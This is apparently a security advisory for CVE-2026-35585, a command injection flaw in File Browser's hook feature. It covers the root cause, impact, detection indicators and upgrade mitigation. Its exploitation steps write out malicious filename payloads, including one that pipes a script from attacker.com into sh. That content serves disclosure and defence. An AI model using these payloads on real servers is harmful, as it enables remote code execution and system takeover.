CVE-2026-35585: 
NixOS vulnerability analysis and mitigation

CVE-2026-35585 is an OS command injection vulnerability in the File Browser hook system, allowing authenticated users with file write permissions to achieve Remote Code Execution (RCE) by crafting malicious filenames containing shell metacharacters. It affects File Browser versions 2.0.0 through 2.63.1 (with the hook feature disabled by default from v2.33.8 onwards). The vulnerability was published on April 7, 2026, and assigned by GitHub, Inc. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 7.5 (High) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of OS command special elements (CWE-78) and argument delimiters (CWE-88) in runner/runner.go. The Runner.exec function performs variable substitution for hook command strings using Go's os.Expand — replacing template variables like $FILE and $USERNAME with attacker-controlled values (e.g., filenames) without any sanitization or escaping. If an administrator has configured a hook such as sh -c "echo created $FILE" and an attacker uploads a file named ; id #, the expansion produces sh -c "echo created /path/to/; id #", causing the shell to execute the injected id command. Exploitation requires the hooks feature to be enabled (it is off by default from v2.33.8) and the attacker to have file write, upload, or rename permissions (GitHub Advisory).

Successful exploitation grants an authenticated attacker arbitrary OS command execution on the server with the privileges of the File Browser process, resulting in full compromise of confidentiality, integrity, and availability of the affected system. An attacker can exfiltrate sensitive files, modify or delete data, establish persistent backdoors, or pivot to other systems on the network. The attacker does not need to know the exact hook command configured — any hook embedding $FILE or similar variables in a shell string is exploitable (GitHub Advisory, Red Hat CVE).

A proof-of-concept (PoC) exploit in Go is publicly available in the GitHub Security Advisory, demonstrating the injection via a TestPoC_FileHookInjection test function that confirms shell metacharacter pass-through (GitHub Advisory). As of the time of reporting, there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.0109 (low probability of exploitation in the near term). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the hooks feature to be explicitly enabled by an administrator and the attacker to hold file write permissions, limiting the attack surface (Red Hat CVE).

1. Reconnaissance: Identify a File Browser instance (versions 2.0.0–2.63.1) where the hooks/command execution feature has been explicitly enabled by an administrator (via --disable-exec=false or FB_DISABLE_EXEC=false). Confirm that at least one hook (e.g., after_upload) is configured with a shell command embedding $FILE or $USERNAME.
2. Obtain file write access: Authenticate to the File Browser instance as any user with file upload, rename, or create permissions. This could be a low-privilege account.
3. Craft malicious filename: Prepare a filename containing shell metacharacters designed to inject additional commands. For example: ; id # or ; curl http://attacker.com/shell.sh | sh #.
4. Trigger the hook: Upload (or rename/delete) a file using the crafted malicious filename via the File Browser web interface or API. The hook fires automatically upon the file event.
5. Achieve RCE: The server expands $FILE to the malicious filename without sanitization, producing a shell command such as sh -c "echo created /uploads/; id #". The injected command (id, reverse shell, etc.) executes with the privileges of the File Browser server process (GitHub Advisory).

• Network: Unexpected outbound connections from the File Browser server process to external IPs (e.g., for reverse shells or payload downloads via curl/wget).
• Logs: File Browser access logs showing uploads or renames of files with unusual names containing shell metacharacters (e.g., ;, #, |, $, backticks) in the filename field.
• Process: Unusual child processes spawned by the File Browser process (e.g., sh, bash, id, curl, wget, python) visible in process trees or audit logs.
• File System: Unexpected new files, scripts, cron jobs, or SSH authorized keys created in directories accessible by the File Browser service account; web shells or backdoors in the File Browser working directory.
• Audit/System Logs: OS-level audit logs (e.g., auditd) recording execution of unexpected commands by the File Browser service user, particularly following file upload or rename events (GitHub Advisory).

The primary mitigation is to upgrade File Browser to a version beyond 2.63.1 where the hook/command execution feature is disabled by default for all installations, including existing ones (GitHub Advisory). For instances that cannot be immediately upgraded, ensure the hooks feature is disabled by not setting --disable-exec=false or FB_DISABLE_EXEC=false; the default from v2.33.8 onwards is disabled. Additionally, restrict file write, upload, and rename permissions to fully trusted users only, and avoid configuring shell-based hooks that embed user-controlled variables like $FILE or $USERNAME in shell strings. The maintainers have noted the feature requires a complete overhaul and recommend against its use unless the security risks are fully understood (GitHub Issue #5199).

The File Browser maintainers (hacdias) published the advisory on April 4, 2026, explicitly noting that the hook/command execution feature has a history of security vulnerabilities and has been disabled by default as a consequence. The maintainers acknowledged the feature requires a complete rewrite and recommended against its use, citing multiple related CVEs and community-reported issues (GitHub Issue #5199). CISA-ADP flagged the advisory as containing exploit code. Red Hat also tracked the vulnerability (Red Hat CVE). The vulnerability was reported by security researcher Saku0512 (GitHub Advisory).